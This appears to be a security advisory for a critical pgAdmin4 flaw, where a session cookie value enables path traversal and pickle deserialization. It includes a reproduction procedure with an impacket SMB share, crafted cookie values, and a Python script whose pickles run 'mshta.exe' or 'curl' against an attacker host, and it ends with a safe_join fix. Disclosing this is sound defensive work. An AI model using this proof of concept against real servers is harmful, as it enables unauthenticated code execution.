9.2 CRITICAL - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
pgAdmin4 uses a file-based session management approach. The session files are saved on disk as pickle objects. When a user performs a request, the value of the session cookie pga4_session
is used to retrieve the file, then it's content is deserialized, and finally its signature verified.
The ManagedSessionInterface
class implements flask's SessionInterface
to read the user's cookie and translate it into their session:
def open_session(self, app, request):
cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])
if not cookie_val or '!' not in cookie_val:
return self.manager.new_session()
sid, digest = cookie_val.split('!', 1)
if self.manager.exists(sid):
return self.manager.get(sid, digest)
return self.manager.new_session()
The cookie value is split in 2 parts at the first !
character. The first part is the session ID (sid
), while the second is the session digest.
The vulnerability lies in the FileBackedSessionManager.get
method that loads session files by concatenating the sessions
folder - located inside the pgAdmin4 DATA_DIR
- with the session ID. Precisely, the two values are concatenated using the os.path.join
function.
This function has two weaknesses:
- It does not set a trusted base-path which should not be escaped, therefore
os.path.join("/opt/safe/", "../../etc/passwd")
returns/etc/passwd
. - It uses the right-most absolute path in its arguments as the root path, therefore
os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd")
returns/etc/passwd
.
The following snippet shows the vulnerable code, with added comments:
def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable
'Retrieve a managed session by session-id, checking the HMAC digest'
fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path
data = None
hmac_digest = None
randval = None
if os.path.exists(fname):
try:
with open(fname, 'rb') as f: # <-- open will read a file from the absolute path
randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-point
except Exception:
pass
# ...SNIP...
An attacker could force the server into deserializing a pickle object at an arbitrary path. This type of deserialization can be used to run arbitrary code.
The requirements to exploit the vulnerability vary based on the operating system of the host where pgAdmin4 is installed:
- Windows: the attacker could specify in the cookie a UNC path (i.e.
//attacker.com/share/file.pickle
) and expose an unauthenticated SMB share to serve the malicious pickle object, turning the vulnerability into a pre-authentication one. - Linux/POSIX: the attacker must be able to upload the malicious pickle object on the host, this could be done using the pgAdmin4 Storage Manager component, which requires the attacker to have a valid account on the target pgAdmin4 instance.
- Expose a SMB server on a public-facing host:
- Install impacket with:
python3 -m pipx install impacket
- Download the
smbserver.py
example - Expose the
/tmp
folder asshare
:python3 smbserver.py -smb2support share /tmp
- Install impacket with:
- Expose an HTTP server on a public-facing host.
- Save the following snippet of code and run it with
python3 pickler.py '<attacker_host>'
replacing<attacker_host>
with the IP/domain of the HTTP server setup at step 2 to create two serializaed object, one for Windows (nt.pickle
) and one for Linux/POSIX (posix.pickle
) which will perform an HTTP request to the<attacker_host>
when deserialized.
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))
- Expose the
nt.pickle
file using the SMB share - Deploy a pgAdmin4 server on Windows
- Visit the pgAdmin4 login page
- Open the browser's developer tools and change the
pga4_session
cookie value to//<attacker_host>/share/nt.pickle!a
replacing<attacker_host>
with the SMB server's IP/domain - Notice that the
nt.pickle
file is retrieved from the SMB share - Notice that an HTTP request is performed to the HTTP server, confirming the code execution
- Deploy a pgAdmin4 server on Linux
- Login with a valid user account
- Visit the Storage Manager component
- Upload the
posix.pickle
file - Open the browser's developer tools and change the
pga4_session
cookie value to../storage/<email>/posix.pickle!a
replacing<email>
with the currently logged in user's email after replacing@
with_
- Notice that an HTTP request is performed to the HTTP server, confirming the code execution
Replace the os.path.join
function with werkzeug.security.safe_join by setting the first argument to self.path
which represents the path where the sessions are stored to prevent attackers from escaping the base directory.